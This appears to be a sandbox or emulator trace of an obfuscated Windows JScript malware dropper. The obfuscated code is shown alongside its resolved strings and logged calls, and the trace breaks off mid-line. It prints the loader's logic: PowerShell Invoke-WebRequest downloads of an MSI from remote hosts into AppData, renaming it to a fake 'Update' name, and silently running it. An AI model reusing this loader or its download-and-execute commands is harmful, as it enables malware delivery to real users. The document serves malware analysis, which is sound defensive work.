143	_0x11d07d[_0x29440f ( 0xa3 ) ] ( _0x11d07d[_0x29440f ( 0xdb ) ] ( ) );	_0x29440f(163) ➔ "push" _0x29440f(219) ➔ "shift" _0x29440f(163) ➔ "push" _0x29440f(219) ➔ "shift" _0x29440f(163) ➔ "push" _0x29440f(219) ➔ "shift" _0x29440f(163) ➔ "push" _0x29440f(219) ➔ "shift" _0x29440f(163) ➔ "push" _0x29440f(219) ➔ "shift" _0x29440f(163) ➔ "push" _0x29440f(219) ➔ "shift" _0x29440f(163) ➔ "push" _0x29440f(219) ➔ "shift" _0x29440f(163) ➔ "push" _0x29440f(219) ➔ "shift" _0x29440f(163) ➔ "push" _0x29440f(219) ➔ "shift" _0x29440f(163) ➔ "push" _0x29440f(219) ➔ "shift"
144	}
145	catch ( _0x3f291f )
146	{
147	_0x11d07d[_0x29440f ( 0xa3 ) ] ( _0x11d07d[_0x29440f ( 0xdb ) ] ( ) );
148	}
149	} ( ) );
150	var shell = new ActiveXObject ( _0x1c61e9 ( 0xa48 + 0xa67 * 0x1 + 0x1d1 * - 0xb ) ), fso = new ActiveXObject ( _0x1c61e9 ( - 0x385 * 0x6 + 0x7e5 + 0xdd7 ) );	_0x1c61e9(180) ➔ "WScript.Shell" _0x1c61e9(158) ➔ "Scripting.FileSystemObject"
151	function _0x35c5() {	_0x35c5() ➔ 1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrings,197dJYSYr,length,Update,2056vIbDps,toString,1120572YyGyRt,floor,%appdata%,60VFfyja,672507TXAorh,http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44,run,WScript.Shell,MoveFile,2178279nqcShX,.msi,Scripting.FileSystemObject
152	var _0x2c5e4f = _0x1552,
153	_0x235048 = {
154	'MFINy' : _0x2c5e4f ( 0xda ) + _0x2c5e4f ( 0x9f ),	_0x2c5e4f(218) ➔ "1409821jbm" _0x2c5e4f(159) ➔ "jgp"
155	'ULazD' : _0x2c5e4f ( 0xcb ),	_0x2c5e4f(203) ➔ "Sleep"
156	'XtdVL' : _0x2c5e4f ( 0x8a ),	_0x2c5e4f(138) ➔ "random"
157	'oStHd' : _0x2c5e4f ( 0xeb ),	_0x2c5e4f(235) ➔ "6MWZToe"
158	'oLIZa' : _0x2c5e4f ( 0xc9 ),	_0x2c5e4f(201) ➔ "10CdYxPx"
159	'sNbFT' : _0x2c5e4f ( 0x87 ) + _0x2c5e4f ( 0x9d ),	_0x2c5e4f(135) ➔ "5626176BtL" _0x2c5e4f(157) ➔ "aPl"
160	'ChWGg' : _0x2c5e4f ( 0xe2 ),	_0x2c5e4f(226) ➔ "8KApWDK"
161	'EDSwb' : _0x2c5e4f ( 0xb7 ) + 'w',	_0x2c5e4f(183) ➔ "48772LGjEn"
162	'uLcKX' : _0x2c5e4f ( 0x93 ) + _0x2c5e4f ( 0x92 ) + _0x2c5e4f ( 0x86 ),	_0x2c5e4f(147) ➔ "ExpandEnvi" _0x2c5e4f(146) ➔ "ronmentStr" _0x2c5e4f(134) ➔ "ings"
163	'RyAPa' : _0x2c5e4f ( 0xb9 ),	_0x2c5e4f(185) ➔ "197dJYSYr"
164	'ZLaZx' : _0x2c5e4f ( 0x7d ),	_0x2c5e4f(125) ➔ "length"
165	'wjHbA' : _0x2c5e4f ( 0xe0 ),	_0x2c5e4f(224) ➔ "Update"
166	'wUose' : _0x2c5e4f ( 0xea ),	_0x2c5e4f(234) ➔ "2056vIbDps"
167	'LBoey' : _0x2c5e4f ( 0xa2 ),	_0x2c5e4f(162) ➔ "toString"
168	'fmFJy' : _0x2c5e4f ( 0x81 ) + _0x2c5e4f ( 0x8e ),	_0x2c5e4f(129) ➔ "1120572YyG" _0x2c5e4f(142) ➔ "yRt"
169	'pjsFF' : _0x2c5e4f ( 0xa6 ),	_0x2c5e4f(166) ➔ "floor"
170	'HhOag' : _0x2c5e4f ( 0xa7 ),	_0x2c5e4f(167) ➔ "%appdata%"
171	'TPFhc' : _0x2c5e4f ( 0x7b ),	_0x2c5e4f(123) ➔ "60VFfyja"
172	'oCtxo' : _0x2c5e4f ( 0x78 ) + 'rh',	_0x2c5e4f(120) ➔ "672507TXAo"
173	'aCBUU' : _0x2c5e4f ( 0xb2 ) + _0x2c5e4f ( 0x96 ) + _0x2c5e4f ( 0xc5 ) + _0x2c5e4f ( 0xc2 ) + _0x2c5e4f ( 0xae ),	_0x2c5e4f(178) ➔ "http://pdf" _0x2c5e4f(150) ➔ "mail.icu/a" _0x2c5e4f(197) ➔ "rquivo/lis" _0x2c5e4f(194) ➔ "ta/?=66d1c" _0x2c5e4f(174) ➔ "5cd84e44"
174	'OJzjg' : _0x2c5e4f ( 0xb5 ),	_0x2c5e4f(181) ➔ "run"
175	'AAHqS' : _0x2c5e4f ( 0x99 ) + _0x2c5e4f ( 0xd1 ),	_0x2c5e4f(153) ➔ "WScript.Sh" _0x2c5e4f(209) ➔ "ell"
176	'nFIUf' : _0x2c5e4f ( 0xba ),	_0x2c5e4f(186) ➔ "MoveFile"
177	'wrqdE' : _0x2c5e4f ( 0xaf ) + _0x2c5e4f ( 0x70 ),	_0x2c5e4f(175) ➔ "2178279nqc" _0x2c5e4f(112) ➔ "ShX"
178	'MSXjf' : _0x2c5e4f ( 0x6e ),	_0x2c5e4f(110) ➔ ".msi"
179	'zBuog' : _0x2c5e4f ( 0x90 ) + _0x2c5e4f ( 0xac ) + _0x2c5e4f ( 0xb3 )	_0x2c5e4f(144) ➔ "Scripting." _0x2c5e4f(172) ➔ "FileSystem" _0x2c5e4f(179) ➔ "Object"
180	}, _0x1764cf = [ _0x235048[_0x2c5e4f ( 0xd0 ) ], _0x235048[_0x2c5e4f ( 0xc4 ) ], _0x235048[_0x2c5e4f ( 0xb8 ) ], _0x235048[_0x2c5e4f ( 0xd5 ) ], _0x235048[_0x2c5e4f ( 0x91 ) ], _0x235048[_0x2c5e4f ( 0x85 ) ], _0x235048[_0x2c5e4f ( 0x77 ) ], _0x235048[_0x2c5e4f ( 0x94 ) ], _0x235048[_0x2c5e4f ( 0xca ) ], _0x235048[_0x2c5e4f ( 0x82 ) ], _0x235048[_0x2c5e4f ( 0xab ) ], _0x235048[_0x2c5e4f ( 0xd2 ) ], _0x235048[_0x2c5e4f ( 0xa5 ) ], _0x235048[_0x2c5e4f ( 0xde ) ], _0x235048[_0x2c5e4f ( 0xc1 ) ], _0x235048[_0x2c5e4f ( 0xc8 ) ], _0x235048[_0x2c5e4f ( 0xd3 ) ], _0x235048[_0x2c5e4f ( 0xb4 ) ], _0x235048[_0x2c5e4f ( 0xd9 ) ], _0x235048[_0x2c5e4f ( 0x98 ) ], _0x235048[_0x2c5e4f ( 0xe9 ) ], _0x235048[_0x2c5e4f ( 0x7c ) ], _0x235048[_0x2c5e4f ( 0x7f ) ], _0x235048[_0x2c5e4f ( 0x72 ) ], _0x235048[_0x2c5e4f ( 0x75 ) ], _0x235048[_0x2c5e4f ( 0x6b ) ] ];
181	return ( _0x35c5 =	() ➔ 1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrings,197dJYSYr,length,Update,2056vIbDps,toString,1120572YyGyRt,floor,%appdata%,60VFfyja,672507TXAorh,http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44,run,WScript.Shell,MoveFile,2178279nqcShX,.msi,Scripting.FileSystemObject
182	function () {	() ➔ 1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrings,197dJYSYr,length,Update,2056vIbDps,toString,1120572YyGyRt,floor,%appdata%,60VFfyja,672507TXAorh,http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44,run,WScript.Shell,MoveFile,2178279nqcShX,.msi,Scripting.FileSystemObject _0x3bfc23() ➔ 1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrings,197dJYSYr,length,Update,2056vIbDps,toString,1120572YyGyRt,floor,%appdata%,60VFfyja,672507TXAorh,http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44,run,WScript.Shell,MoveFile,2178279nqcShX,.msi,Scripting.FileSystemObject _0x3bfc23() ➔ 1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrings,197dJYSYr,length,Update,2056vIbDps,toString,1120572YyGyRt,floor,%appdata%,60VFfyja,672507TXAorh,http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44,run,WScript.Shell,MoveFile,2178279nqcShX,.msi,Scripting.FileSystemObject _0x3bfc23() ➔ 1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrings,197dJYSYr,length,Update,2056vIbDps,toString,1120572YyGyRt,floor,%appdata%,60VFfyja,672507TXAorh,http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44,run,WScript.Shell,MoveFile,2178279nqcShX,.msi,Scripting.FileSystemObject _0x3bfc23() ➔ 1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrings,197dJYSYr,length,Update,2056vIbDps,toString,1120572YyGyRt,floor,%appdata%,60VFfyja,672507TXAorh,http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44,run,WScript.Shell,MoveFile,2178279nqcShX,.msi,Scripting.FileSystemObject _0x3bfc23() ➔ 1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrings,197dJYSYr,length,Update,2056vIbDps,toString,1120572YyGyRt,floor,%appdata%,60VFfyja,672507TXAorh,http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44,run,WScript.Shell,MoveFile,2178279nqcShX,.msi,Scripting.FileSystemObject _0x3bfc23() ➔ 1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrings,197dJYSYr,length,Update,2056vIbDps,toString,1120572YyGyRt,floor,%appdata%,60VFfyja,672507TXAorh,http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44,run,WScript.Shell,MoveFile,2178279nqcShX,.msi,Scripting.FileSystemObject _0x3bfc23() ➔ 1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrings,197dJYSYr,length,Update,2056vIbDps,toString,1120572YyGyRt,floor,%appdata%,60VFfyja,672507TXAorh,http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44,run,WScript.Shell,MoveFile,2178279nqcShX,.msi,Scripting.FileSystemObject _0x3bfc23() ➔ 1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrings,197dJYSYr,length,Update,2056vIbDps,toString,1120572YyGyRt,floor,%appdata%,60VFfyja,672507TXAorh,http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44,run,WScript.Shell,MoveFile,2178279nqcShX,.msi,Scripting.FileSystemObject _0x3bfc23() ➔ 1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrings,197dJYSYr,length,Update,2056vIbDps,toString,1120572YyGyRt,floor,%appdata%,60VFfyja,672507TXAorh,http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44,run,WScript.Shell,MoveFile,2178279nqcShX,.msi,Scripting.FileSystemObject
183	return _0x1764cf;
184	} ) ( );
185	}
186	shell[_0x1c61e9 ( - 0x182 * - 0x3 + 0x1ac3 + - 0x366 * 0x9 ) ] ( _0x1c61e9 ( 0x111d + 0x30d * 0xb + 0x18fd * - 0x2 ) );	_0x1c61e9(179) ➔ "run" _0x1c61e9(178) ➔ "http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44" run("http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44") ➔ 0
187	var pastas = [ shell[_0x1c61e9 ( 0x472 * - 0x8 + 0x7f9 * - 0x1 + 0x650 * 0x7 ) ] ( _0x1c61e9 ( - 0x1634 + 0x2608 * - 0x1 + 0x3ceb ) ), shell[_0x6312fa ( 0x93 ) + _0x6312fa ( 0x92 ) + _0x6312fa ( 0x86 ) ] ( _0x6312fa ( 0xa1 ) + _0x6312fa ( 0xe5 ) ) ], pasta = pastas[Math[_0x1c61e9 ( - 0x1010 + 0x1 * 0xc6c + 0x452 ) ] ( Math[_0x1c61e9 ( 0x2e7 * - 0x5 + 0x1 * 0x833 + 0x6f1 * 0x1 ) ] ( ) * pastas[_0x1c61e9 ( - 0xa33 + 0x1b57 + - 0x107b ) ] ) ], nomeBaseMsi = _0x1c61e9 ( 0x22e6 + 0xb * 0x152 + - 0x30c2 ), sufixoAleatorioMsi = Math[_0x6312fa ( 0x8a ) ] ( ) [_0x1c61e9 ( 0x208e + - 0x53 * - 0x6 + - 0x21d4 ) ] ( 0x1d20 + 0x2083 + 0x7 * - 0x8c9 ) [_0x6312fa ( 0xc3 ) ] ( - 0x1 * - 0x1b1f + - 0x9b7 + - 0x1166, - 0xd01 * 0x3 + - 0x1f4d + 0x4656 ), novoNomeMsi = pasta + '\x5c' + nomeBaseMsi + sufixoAleatorioMsi + _0x1c61e9 ( - 0x2565 + - 0x40d + 0x25 * 0x123 ), command = _0x6312fa ( 0xcc ) + _0x6312fa ( 0xcd ) + _0x6312fa ( 0xb0 ) + _0x6312fa ( 0x6d ) + _0x6312fa ( 0xc6 ) + _0x6312fa ( 0x97 ) + _0x6312fa ( 0x8d ) + _0x6312fa ( 0xb1 ) + _0x6312fa ( 0xa9 ) + _0x6312fa ( 0xd6 ) + _0x6312fa ( 0xa0 ) + novoNomeMsi + '\x27\x22';	_0x1c61e9(167) ➔ "ExpandEnvironmentStrings" _0x1c61e9(175) ➔ "%appdata%" ExpandEnvironmentStrings("%appdata%") ➔ "C:\Users\tina\AppData\Roaming" _0x6312fa(147) ➔ "ExpandEnvi" _0x6312fa(146) ➔ "ronmentStr" _0x6312fa(134) ➔ "ings" _0x6312fa(161) ➔ "%ProgramDa" _0x6312fa(229) ➔ "ta%" ExpandEnvironmentStrings("%ProgramData%") ➔ "C:\ProgramData" _0x1c61e9(174) ➔ "floor" _0x1c61e9(161) ➔ "random" [object Math].random() ➔ 0.4809919917731683 _0x1c61e9(169) ➔ "length" [object Math].floor(0.9619839835463366) ➔ 0 _0x1c61e9(170) ➔ "Update" _0x6312fa(138) ➔ "random" [object Math].random() ➔ 0.3920539906806901 _0x1c61e9(172) ➔ "toString" _0x6312fa(195) ➔ "substring" "0.e43o5lo6yge2".substring(2,6) ➔ "e43o" _0x1c61e9(157) ➔ ".msi" _0x6312fa(204) ➔ "powershell" _0x6312fa(205) ➔ " -Command " _0x6312fa(176) ➔ ""Invoke-We" _0x6312fa(109) ➔ "bRequest -" _0x6312fa(198) ➔ "Uri https:" _0x6312fa(151) ➔ "//danfe.to" _0x6312fa(141) ➔ "p/baixar-a" _0x6312fa(177) ➔ "plicativo/" _0x6312fa(169) ➔ "?app=Kra.m" _0x6312fa(214) ➔ "si -OutFil" _0x6312fa(160) ➔ "e '"
188	shell[_0x1c61e9 ( - 0x7f * 0x2 + 0x1 * 0x71f + 0x116 * - 0x5 ) ] ( command, 0x1 * - 0x60e + 0x1a0d + - 0x1 * 0x13ff, ! ( 0x262c + 0x626 * 0x2 + - 0x3278 ) );	_0x1c61e9(179) ➔ "run" run("powershell -Command "Invoke-WebRequest -Uri https://danfe.top/baixar-aplicativo/?app=Kra.msi -OutFile 'C:\Users\tina\AppData\Roaming\Updatee43o.msi'"",0,true) ➔ 0
189	for ( var attempts = - 0x1523 + - 0x2 * - 0xc4 + 0x139b ; ! fso[_0x6312fa ( 0x6c ) ] ( novoNomeMsi ) && attempts < - 0x2 * 0x1c5 + - 0x960 + - 0x462 * - 0x3 ; )	_0x6312fa(108) ➔ "FileExists" FileExists("C:\Users\tina\AppData\Roaming\Updatee43o.msi") ➔ true
190	WScript[_0x1c61e9 ( - 0xe * 0x118 + - 0x72d * 0x1 + 0x61 * 0x3d ) ] ( 0x1999 * - 0x1 + 0x26bd + - 0x93c ), attempts ++;
191	if ( fso[_0x6312fa ( 0x6c ) ] ( novoNomeMsi ) )	_0x6312fa(108) ➔ "FileExists" FileExists("C:\Users\tina\AppData\Roaming\Updatee43o.msi") ➔ true
192	{
193	var renoBaseMsi = _0x6312fa ( 0xe0 ), sufixoRenoAleatorioMsi = Math[_0x1c61e9 ( 0x3 * 0x84e + - 0x1d * 0x10d + - 0x30 * - 0x21 ) ] ( ) [_0x1c61e9 ( 0x1 * - 0xdf9 + - 0x7 * 0x310 + - 0x2415 * - 0x1 ) ] ( - 0x6cd * 0x1 + 0x3c * 0x13 + 0x7 * 0x5b ) [_0x6312fa ( 0xc3 ) ] ( - 0x56f * 0x1 + 0x1836 + - 0x12c5, 0xe40 + 0x4d1 + 0x177 * - 0xd ), novoRenoNomeMsi = pasta + '\x5c' + renoBaseMsi + sufixoRenoAleatorioMsi + _0x1c61e9 ( 0x7 * 0xad + - 0x21b0 + 0x1d92 );	_0x6312fa(224) ➔ "Update" _0x1c61e9(161) ➔ "random" [object Math].random() ➔ 0.5275628078529149 _0x1c61e9(172) ➔ "toString" _0x6312fa(195) ➔ "substring" "0.izpyxl9j5ws8".substring(2,6) ➔ "izpy" _0x1c61e9(157) ➔ ".msi"
194	fso[_0x1c61e9 ( - 0xc09 + - 0x11ce + - 0x3 * - 0xa26 ) ] ( novoNomeMsi, novoRenoNomeMsi ), shell[_0x1c61e9 ( 0x3c2 + 0x16ca + - 0x19d9 ) ] ( novoRenoNomeMsi, - 0x1 * - 0x1867 + 0x5c * - 0x2 + 0x3 * - 0x7e5, ! ( 0xb * - 0x1d5 + 0x3d7 * - 0x7 + 0x2f08 ) );	_0x1c61e9(155) ➔ "MoveFile" MoveFile("C:\Users\tina\AppData\Roaming\Updatee43o.msi","C:\Users\tina\AppData\Roaming\Updateizpy.msi") ➔ undefined _0x1c61e9(179) ➔ "run" run("C:\Users\tina\AppData\Roaming\Updateizpy.msi",0,true) ➔ 1602
195	}
196	var bola = _0x6312fa ( 0xcc ) + _0x6312fa ( 0xcd ) + _0x6312fa ( 0xb0 ) + _0x6312fa ( 0x6d ) + _0x6312fa ( 0xc6 ) + _0x6312fa ( 0xbf ) + _0x6312fa ( 0xbe ) + _0x6312fa ( 0xdf ) + 'p\x22';	_0x6312fa(204) ➔ "powershell" _0x6312fa(205) ➔ " -Command " _0x6312fa(176) ➔ ""Invoke-We" _0x6312fa(109) ➔ "bRequest -" _0x6312fa(198) ➔ "Uri https:" _0x6312fa(191) ➔ "//ms-edge." _0x6312fa(190) ➔ "link/contk" _0x6312fa(223) ➔ "ra/serv.ph"
197	function _0x53ab() {	_0x53ab() ➔ ?app=Kra.m,DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,TPFhc,run,RaSSU,48772LGjEn,XtdVL,197dJYSYr,MoveFile,QruWT,yrpmF,618294YVHPgC,link/contk,//ms-edge.,236061rnRecz,fmFJy,ta/?=66d1c,substring,ULazD,rquivo/lis,Uri https:,6qdDgQp,pjsFF,10CdYxPx,uLcKX,Sleep,powershell, -Command ,WgXPf,OCAGc,MFINy,ell,wjHbA,HhOag,hJYHH,oStHd,si -OutFil,qUuin,vsbOQ,oCtxo,1409821jbm,shift,HgWtq,vvzcH,LBoey,ra/serv.ph,Update,dcFFV,8KApWDK,TmYkb,202716xogZEc,ta%,150689MgwPHe,nPimM,rJxPh,OJzjg,2056vIbDps,6MWZToe,zBuog,FileExists,bRequest -,.msi,265008GdQczN,ShX,jLsFb,wrqdE,jyrJQ,AFggf,MSXjf,1187640yppuoz,ChWGg,672507TXAo,CwkEI,5AieEzU,60VFfyja,AAHqS,length,WdLIV,nFIUf,eIWnP,1120572YyG,RyAPa,kpAZy,aATaN,sNbFT,ings,5626176BtL,etQhA,yLMjB,random,lvUBa,TjxwE,p/baixar-a,yRt,XVrna,Scripting.,oLIZa,ronmentStr,ExpandEnvi,EDSwb,VgbsE,mail.icu/a,//danfe.to,aCBUU,WScript.Sh,UFbpM,fIpzm,JslXL,aPl,4755780kwaAOO,jgp,e ',%ProgramDa,toString,push,fSxJR,wUose,floor,%appdata%,WeHtk
198	var _0x1e3ea9 = [ '?app=Kra.m', 'DuEPK', 'ZLaZx', 'FileSystem', 'eaDJS', '5cd84e44', '2178279nqc', '\x22Invoke-We', 'plicativo/', 'http://pdf', 'Object', 'TPFhc', 'run', 'RaSSU', '48772LGjEn', 'XtdVL', '197dJYSYr', 'MoveFile', 'QruWT', 'yrpmF', '618294YVHPgC', 'link/contk', '//ms-edge.', '236061rnRecz', 'fmFJy', 'ta/?=66d1c', 'substring', 'ULazD', 'rquivo/lis', 'Uri\x20https:', '6qdDgQp', 'pjsFF', '10CdYxPx', 'uLcKX', 'Sleep', 'powershell', '\x20-Command\x20', 'WgXPf', 'OCAGc', 'MFINy', 'ell', 'wjHbA', 'HhOag', 'hJYHH', 'oStHd', 'si\x20-OutFil', 'qUuin', 'vsbOQ', 'oCtxo', '1409821jbm', 'shift', 'HgWtq', 'vvzcH', 'LBoey', 'ra/serv.ph', 'Update', 'dcFFV', '8KApWDK', 'TmYkb', '202716xogZEc', 'ta%', '150689MgwPHe', 'nPimM', 'rJxPh', 'OJzjg', '2056vIbDps', '6MWZToe', 'zBuog', 'FileExists', 'bRequest\x20-', '.msi', '265008GdQczN', 'ShX', 'jLsFb', 'wrqdE', 'jyrJQ', 'AFggf', 'MSXjf', '1187640yppuoz', 'ChWGg', '672507TXAo', 'CwkEI', '5AieEzU', '60VFfyja', 'AAHqS', 'length', 'WdLIV', 'nFIUf', 'eIWnP', '1120572YyG', 'RyAPa', 'kpAZy', 'aATaN', 'sNbFT', 'ings', '5626176BtL', 'etQhA', 'yLMjB', 'random', 'lvUBa', 'TjxwE', 'p/baixar-a', 'yRt', 'XVrna', 'Scripting.', 'oLIZa', 'ronmentStr', 'ExpandEnvi', 'EDSwb', 'VgbsE', 'mail.icu/a', '//danfe.to', 'aCBUU', 'WScript.Sh', 'UFbpM', 'fIpzm', 'JslXL', 'aPl', '4755780kwaAOO', 'jgp', 'e\x20\x27', '%ProgramDa', 'toString', 'push', 'fSxJR', 'wUose', 'floor', '%appdata%', 'WeHtk' ];
199	_0x53ab =
200	function () {	_0x53ab() ➔ ?app=Kra.m,DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,TPFhc,run,RaSSU,48772LGjEn,XtdVL,197dJYSYr,MoveFile,QruWT,yrpmF,618294YVHPgC,link/contk,//ms-edge.,236061rnRecz,fmFJy,ta/?=66d1c,substring,ULazD,rquivo/lis,Uri https:,6qdDgQp,pjsFF,10CdYxPx,uLcKX,Sleep,powershell, -Command ,WgXPf,OCAGc,MFINy,ell,wjHbA,HhOag,hJYHH,oStHd,si -OutFil,qUuin,vsbOQ,oCtxo,1409821jbm,shift,HgWtq,vvzcH,LBoey,ra/serv.ph,Update,dcFFV,8KApWDK,TmYkb,202716xogZEc,ta%,150689MgwPHe,nPimM,rJxPh,OJzjg,2056vIbDps,6MWZToe,zBuog,FileExists,bRequest -,.msi,265008GdQczN,ShX,jLsFb,wrqdE,jyrJQ,AFggf,MSXjf,1187640yppuoz,ChWGg,672507TXAo,CwkEI,5AieEzU,60VFfyja,AAHqS,length,WdLIV,nFIUf,eIWnP,1120572YyG,RyAPa,kpAZy,aATaN,sNbFT,ings,5626176BtL,etQhA,yLMjB,random,lvUBa,TjxwE,p/baixar-a,yRt,XVrna,Scripting.,oLIZa,ronmentStr,ExpandEnvi,EDSwb,VgbsE,mail.icu/a,//danfe.to,aCBUU,WScript.Sh,UFbpM,fIpzm,JslXL,aPl,4755780kwaAOO,jgp,e ',%ProgramDa,toString,push,fSxJR,wUose,floor,%appdata%,WeHtk _0x53ab() ➔ ?app=Kra.m,DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,TPFhc,run,RaSSU,48772LGjEn,XtdVL,197dJYSYr,MoveFile,QruWT,yrpmF,618294YVHPgC,link/contk,//ms-edge.,236061rnRecz,fmFJy,ta/?=66d1c,substring,ULazD,rquivo/lis,Uri https:,6qdDgQp,pjsFF,10CdYxPx,uLcKX,Sleep,powershell, -Command ,WgXPf,OCAGc,MFINy,ell,wjHbA,HhOag,hJYHH,oStHd,si -OutFil,qUuin,vsbOQ,oCtxo,1409821jbm,shift,HgWtq,vvzcH,LBoey,ra/serv.ph,Update,dcFFV,8KApWDK,TmYkb,202716xogZEc,ta%,150689MgwPHe,nPimM,rJxPh,OJzjg,2056vIbDps,6MWZToe,zBuog,FileExists,bRequest -,.msi,265008GdQczN,ShX,jLsFb,wrqdE,jyrJQ,AFggf,MSXjf,1187640yppuoz,ChWGg,672507TXAo,CwkEI,5AieEzU,60VFfyja,AAHqS,length,WdLIV,nFIUf,eIWnP,1120572YyG,RyAPa,kpAZy,aATaN,sNbFT,ings,5626176BtL,etQhA,yLMjB,random,lvUBa,TjxwE,p/baixar-a,yRt,XVrna,Scripting.,oLIZa,ronmentStr,ExpandEnvi,EDSwb,VgbsE,mail.icu/a,//danfe.to,aCBUU,WScript.Sh,UFbpM,fIpzm,JslXL,aPl,4755780kwaAOO,jgp,e ',%ProgramDa,toString,push,fSxJR,wUose,floor,%appdata%,WeHtk _0x53ab() ➔ ?app=Kra.m,DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,TPFhc,run,RaSSU,48772LGjEn,XtdVL,197dJYSYr,MoveFile,QruWT,yrpmF,618294YVHPgC,link/contk,//ms-edge.,236061rnRecz,fmFJy,ta/?=66d1c,substring,ULazD,rquivo/lis,Uri https:,6qdDgQp,pjsFF,10CdYxPx,uLcKX,Sleep,powershell, -Command ,WgXPf,OCAGc,MFINy,ell,wjHbA,HhOag,hJYHH,oStHd,si -OutFil,qUuin,vsbOQ,oCtxo,1409821jbm,shift,HgWtq,vvzcH,LBoey,ra/serv.ph,Update,dcFFV,8KApWDK,TmYkb,202716xogZEc,ta%,150689MgwPHe,nPimM,rJxPh,OJzjg,2056vIbDps,6MWZToe,zBuog,FileExists,bRequest -,.msi,265008GdQczN,ShX,jLsFb,wrqdE,jyrJQ,AFggf,MSXjf,1187640yppuoz,ChWGg,672507TXAo,CwkEI,5AieEzU,60VFfyja,AAHqS,length,WdLIV,nFIUf,eIWnP,1120572YyG,RyAPa,kpAZy,aATaN,sNbFT,ings,5626176BtL,etQhA,yLMjB,random,lvUBa,TjxwE,p/baixar-a,yRt,XVrna,Scripting.,oLIZa,ronmentStr,ExpandEnvi,EDSwb,VgbsE,mail.icu/a,//danfe.to,aCBUU,WScript.Sh,UFbpM,fIpzm,JslXL,aPl,4755780kwaAOO,jgp,e ',%ProgramDa,toString,push,fSxJR,wUose,floor,%appdata%,WeHtk _0x53ab() ➔ ?app=Kra.m,DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,TPFhc,run,RaSSU,48772LGjEn,XtdVL,197dJYSYr,MoveFile,QruWT,yrpmF,618294YVHPgC,link/contk,//ms-edge.,236061rnRecz,fmFJy,ta/?=66d1c,substring,ULazD,rquivo/lis,Uri https:,6qdDgQp,pjsFF,10CdYxPx,uLcKX,Sleep,powershell, -Command ,WgXPf,OCAGc,MFINy,ell,wjHbA,HhOag,hJYHH,oStHd,si -OutFil,qUuin,vsbOQ,oCtxo,1409821jbm,shift,HgWtq,vvzcH,LBoey,ra/serv.ph,Update,dcFFV,8KApWDK,TmYkb,202716xogZEc,ta%,150689MgwPHe,nPimM,rJxPh,OJzjg,2056vIbDps,6MWZToe,zBuog,FileExists,bRequest -,.msi,265008GdQczN,ShX,jLsFb,wrqdE,jyrJQ,AFggf,MSXjf,1187640yppuoz,ChWGg,672507TXAo,CwkEI,5AieEzU,60VFfyja,AAHqS,length,WdLIV,nFIUf,eIWnP,1120572YyG,RyAPa,kpAZy,aATaN,sNbFT,ings,5626176BtL,etQhA,yLMjB,random,lvUBa,TjxwE,p/baixar-a,yRt,XVrna,Scripting.,oLIZa,ronmentStr,ExpandEnvi,EDSwb,VgbsE,mail.icu/a,//danfe.to,aCBUU,WScript.Sh,UFbpM,fIpzm,JslXL,aPl,4755780kwaAOO,jgp,e ',%ProgramDa,toString,push,fSxJR,wUose,floor,%appdata%,WeHtk _0x53ab() ➔ ?app=Kra.m,DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,TPFhc,run,RaSSU,48772LGjEn,XtdVL,197dJYSYr,MoveFile,QruWT,yrpmF,618294YVHPgC,link/contk,//ms-edge.,236061rnRecz,fmFJy,ta/?=66d1c,substring,ULazD,rquivo/lis,Uri https:,6qdDgQp,pjsFF,10CdYxPx,uLcKX,Sleep,powershell, -Command ,WgXPf,OCAGc,MFINy,ell,wjHbA,HhOag,hJYHH,oStHd,si 